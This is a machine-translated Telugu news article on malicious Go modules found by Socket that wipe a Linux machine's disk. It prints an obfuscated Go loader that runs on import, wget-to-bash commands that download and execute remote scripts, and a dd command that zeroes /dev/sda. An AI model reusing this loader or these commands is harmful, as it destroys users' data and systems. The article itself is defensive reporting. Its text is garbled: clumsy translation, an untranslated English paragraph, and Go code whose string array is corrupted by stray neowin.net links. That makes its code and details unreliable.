క్రొత్త పరిశోధన మీ డిస్క్ను పూర్తిగా తుడిచిపెట్టే హానికరమైన గో మాడ్యూళ్ళను బహిర్గతం చేస్తుంది

ఇది కొత్త నెల, మరియు సాకెట్లోని పరిశోధనా బృందం మీ కంప్యూటర్ యొక్క హార్డ్ డ్రైవ్ను పూర్తిగా తుడిచిపెట్టగల కోడ్ను కలిగి ఉన్న హానికరమైన GO మాడ్యూళ్ళను గుర్తించింది. అవును, పూర్తిగా పోయింది.
మీకు తెలియకపోతే, గో అనేది సంకలనం చేయబడిన ప్రోగ్రామింగ్ భాష గూగుల్ వద్ద రూపొందించబడింది. ఒకేసారి (సమ్మతి) మరియు దాని దృ performance మైన పనితీరును నిర్వహించడానికి దాని బలమైన మద్దతు కోసం ఇది ఇష్టపడుతుంది. అదనంగా, ఇది సింగిల్ ఎక్జిక్యూటబుల్ ఫైళ్ళలో సంకలనం చేస్తుంది, ఇది అనువర్తనాలను అమలు చేయడం చాలా సులభం. డెవలపర్లు తరచూ చదవడానికి మరియు పని చేయడం సులభం, దాని ప్రజాదరణకు దోహదం చేస్తారు.
గో పర్యావరణ వ్యవస్థ విస్తారమైన మరియు తెరిచి ఉంటుంది, లెక్కలేనన్ని మాడ్యూల్స్ లభిస్తాయి గితుబ్ వంటి పబ్లిక్ రిపోజిటరీలు. ఈ ప్రాప్యత సౌలభ్యం మరియు కోడ్ను నేరుగా లాగగల సామర్థ్యం ఆకర్షణీయంగా ఉంది, కానీ ఈ నిర్మాణం ముఖ్యమైన భద్రతా సవాలును అందిస్తుంది. డెవలపర్లు ఉపయోగించడానికి అవి అందుబాటులో ఉండటానికి ముందు మాడ్యూల్ పేర్లు లేదా కంటెంట్ వెట్స్ చేసే కేంద్ర అధికారం లేదు. డెవలపర్లు తరచూ గితుబ్లో బహుళ మాడ్యూళ్ళను సారూప్య పేర్లతో ఎదుర్కొంటారు, కాని వేర్వేరు వ్యక్తులచే సృష్టించబడింది, ఇది ఏది చట్టబద్ధమైనదో గుర్తించడం నిజంగా గమ్మత్తైనది.
ఈ వాతావరణం, స్పష్టమైన నామకరణ ప్రమాణం మరియు సెంట్రల్ గేట్ కీపర్ లేకపోవడం ముఖ్యంగా అక్షర దోషానికి గురవుతుంది.
ఈ రకమైన ముప్పు గత నెలలో సాకెట్ బృందం చూపించింది మూడు హానికరమైన గో మాడ్యూళ్ళను గుర్తించారు వారు ఏమి చేస్తున్నారో దాచడానికి ఇలాంటి పద్ధతులను ఉపయోగించడం. ఇవి ఈ క్రింది విధంగా గుర్తించబడ్డాయి:
- గిరబ్[.]com/wastiffulhfarm/Prototransform
- గిరబ్[.]com/vankloggia/go-Mcp
- గిరబ్[.]com/steelpoor/tlsproxy
Although they seemed ordinary, these modules contained code specifically written to reach out and download harmful programs to execute on a victim’s machine. Socket’s security scanners picked up on these suspicious actions, which kicked off the detailed investigation that revealed the attack’s full scope. Attackers used a clever trick involving scattering parts of commands inside an array of strings and then reconstructing them dynamically. This method, sometimes called array-based string obfuscation, is a way to make malicious code harder to spot through simple keyword searches.
Here is what that obfuscated code looked like in one of the modules, truthfulpharm/prototransform
::
func eGtROk() error {
DmM := []string{"4", "https://www.neowin.net/", " ", "e", "https://www.neowin.net/", "g", "d", "3", "6", " ", "4", "w", "https://www.neowin.net/", "7", "d", ".", "O", " ", "s", "b", "5", "3", "https://www.neowin.net/", "c", "t", "0", "4", "c", "h", " ", "f", "a", "t", "https://www.neowin.net/", "i", "https://www.neowin.net/", "1", "b", "n", "p", "t", "7", "d", "-", "&", ":", "4", "e", "t", "4", "-", "d", "4", "g", "o", "d", "s", "e", "r", "7", ".", "https://www.neowin.net/", "|", ".", " ", "1", "h", " "}
pBRPhsxN := runtime.GOOS == "linux"
bcbGOM := "/bin/sh"
vpqIU := "-c"
PWcf := DmM[11] + DmM[5] + DmM[47] + DmM[32] + DmM[29] + DmM[50] + DmM[16] + DmM[2] + DmM[43] + DmM[17] + DmM[66] + DmM[24] + DmM[40] + DmM[39] + DmM[45] + DmM[12] + DmM[4] + DmM[36] + DmM[49] + DmM[13] + DmM[15] + DmM[46] + DmM[20] + DmM[63] + DmM[0] + DmM[26] + DmM[60] + DmM[52] + DmM[65] + DmM[22] + DmM[56] + DmM[48] + DmM[54] + DmM[58] + DmM[31] + DmM[53] + DmM[3] + DmM[35] + DmM[51] + DmM[57] + DmM[7] + DmM[59] + DmM[21] + DmM[14] + DmM[25] + DmM[55] + DmM[30] + DmM[33] + DmM[23] + DmM[27] + DmM[42] + DmM[41] + DmM[19] + DmM[10] + DmM[8] + DmM[6] + DmM[67] + DmM[62] + DmM[9] + DmM[1] + DmM[37] + DmM[34] + DmM[38] + DmM[61] + DmM[18] + DmM[28] + DmM[64] + DmM[44]
if pBRPhsxN {
exec.Command(bcbGOM, vpqIU, PWcf).Start()
}
return nil
}
var GEeEQNj = eGtROk()
ఈ స్నిప్పెట్ మొదట కోడ్ లైనక్స్ సిస్టమ్లో నడుస్తుందో లేదో తనిఖీ చేస్తుంది. అలా అయితే, అది ఆ స్ట్రింగ్ శ్రేణి నుండి ముక్కలను ఉపయోగించి ఆదేశాన్ని నిర్మిస్తుంది. ఈ ఆదేశం అమలు చేయడానికి సిస్టమ్ యొక్క షెల్ కు ఇవ్వబడుతుంది. ఇది ఆపరేటింగ్ సిస్టమ్ను తనిఖీ చేస్తున్నందున, ఈ ప్రత్యేక దాడి డెవలపర్ సెటప్లు లేదా లైనక్స్ నడుస్తున్న సర్వర్లను లక్ష్యంగా చేసుకుంది.
ఆ గందరగోళ తీగలను తిరిగి కలిసి ఉంచినప్పుడు, వారు ఏర్పాటు చేసిన ఆదేశం స్క్రిప్ట్ను నేరుగా డౌన్లోడ్ చేయడానికి మరియు అమలు చేయడానికి రూపొందించిన సరళమైనది:
# prototransform module payload
wget -O - [.]website/storage/de373d0df/a31546bf | /bin/bash &
# go-mcp module payload
wget -O - [.]icu/storage/de373d0df/a31546bf | /bin/bash &
# tlsproxy module payload
wget -O - [.]41/storage/de373d0df/ccd7b46d | /bin/sh &
ఈ ఆదేశాలు రిమోట్ వెబ్ చిరునామా నుండి ఫైల్ను పొందమని సిస్టమ్కు చెబుతాయి wget
ఆపై వెంటనే ఆ ఫైల్ యొక్క విషయాలను ఇన్పుట్గా తినిపించండి /bin/bash
లేదా /bin/sh
షెల్, ఇది అమలు చేస్తుంది. నష్టం జరిగే ముందు విశ్లేషణ లేదా జోక్యాన్ని అనుమతించే ప్రామాణిక మార్గంలో ఫైల్ను సేవ్ చేయకుండా ఇది వెంటనే జరుగుతుంది.
ఈ దాడి ఈ ఆదేశాలను డౌన్లోడ్ చేసి అమలు చేసిన స్క్రిప్ట్. దీనికి తరచుగా పేరు పెట్టారు done.sh
మరియు రాజీ వ్యవస్థ యొక్క విధిని మూసివేసే ఒక పంక్తిని కలిగి ఉంది:
#!/bin/bash
dd if=/dev/zero of=/dev/sda bs=1M conv=fsync
sync
ఈ ఆదేశం ఉపయోగిస్తుంది dd
లైనక్స్లో యుటిలిటీ. నుండి డేటాను కాపీ చేయమని సూచించబడింది /dev/zero
ఎల్లప్పుడూ సున్నా బైట్లను అందించే ప్రత్యేక సిస్టమ్ మూలం మరియు ఆ డేటాను నేరుగా వ్రాయండి /dev/sda
. చాలా లైనక్స్ వ్యవస్థలలో, /dev/sda
ఆపరేటింగ్ సిస్టమ్ నివసించే ప్రాధమిక హార్డ్ డ్రైవ్ను సూచిస్తుంది, వినియోగదారు నిల్వ చేసిన ప్రతి డేటాతో పాటు – ఫైళ్లు, అనువర్తనాలు, ప్రతిదీ.
దర్శకత్వం ద్వారా dd
అంతులేని సున్నాలను వ్రాయడానికి /dev/sda
ఈ ఆదేశం ఫైళ్ళను తొలగించడం కంటే చాలా ఎక్కువ చేస్తుంది; ఇది మొత్తం హార్డ్ డ్రైవ్లోని ప్రతి బైట్ను పూర్తిగా మరియు క్రమపద్ధతిలో ఓవర్రైట్ చేస్తుంది. ఈ ప్రక్రియ ప్రామాణిక డేటా పునరుద్ధరణ లేదా ఫోరెన్సిక్ పద్ధతుల ద్వారా రికవరీ యొక్క ఏదైనా ఆశకు మించి అసలు డేటాను నాశనం చేస్తుంది, ఎందుకంటే మీ సమాచారాన్ని సూచించే అయస్కాంత లేదా ఎలక్ట్రానిక్ స్థితి సున్నా ప్రాతినిధ్యం వహించే రాష్ట్రంతో భర్తీ చేయబడుతుంది.
అంతిమ ఫలితం మొత్తం వినాశనం. ఫైల్ సిస్టమ్ నిర్మాణం నిర్మూలించబడింది, ఆపరేటింగ్ సిస్టమ్ తుడిచివేయబడుతుంది మరియు అన్ని వినియోగదారు డేటా ఎప్పటికీ పోతుంది. ఒక సంస్థ కోసం, అంటే విషయాలు పనిచేయడం మానేయండి. సాంకేతిక గజిబిజి పైన, దానిని శుభ్రం చేయడానికి తీసుకునే డబ్బు కూడా ఉంది మరియు మీ ప్రతిష్టకు హిట్, ఇది చాలా నష్టపరిచేదిగా ఉంటుంది.
ఇలాంటి దాడులు జరుగుతుండటంతో, మిమ్మల్ని మీరు రక్షించుకోవడానికి మీరు ఏమి చేయవచ్చు? ఇది మీ ప్రాజెక్ట్కు మీరు జోడించే ఏదైనా బాహ్య కోడ్ గురించి జాగ్రత్తగా ఉండటంతో మొదలవుతుంది. మాడ్యూల్ మంచి పేరు ఉన్నందున లేదా గితుబ్లో ఉన్నందున నమ్మవద్దు. మీరు ఈ డిపెండెన్సీలను జాగ్రత్తగా తనిఖీ చేయాలి. మీకు వీలైతే వారి మూలాన్ని, వారిని ఎవరు మరియు వారి చరిత్రను చూడండి. ఈ లైబ్రరీల కోడ్ను మీ నిర్మాణానికి జోడించే ముందు స్వయంచాలక సాధనాలను ఉపయోగించండి. ఈ సాధనాలు తెలిసిన దుర్బలత్వాలను గుర్తించగలవు మరియు వింత నమూనాలు లేదా ప్రవర్తనలను కూడా తనిఖీ చేస్తాయి, ఈ డిస్క్-తవ్వే దాడిలో ఉపయోగించిన అస్పష్టత పద్ధతులు దాని నిజమైన ప్రయోజనాన్ని దాచడానికి.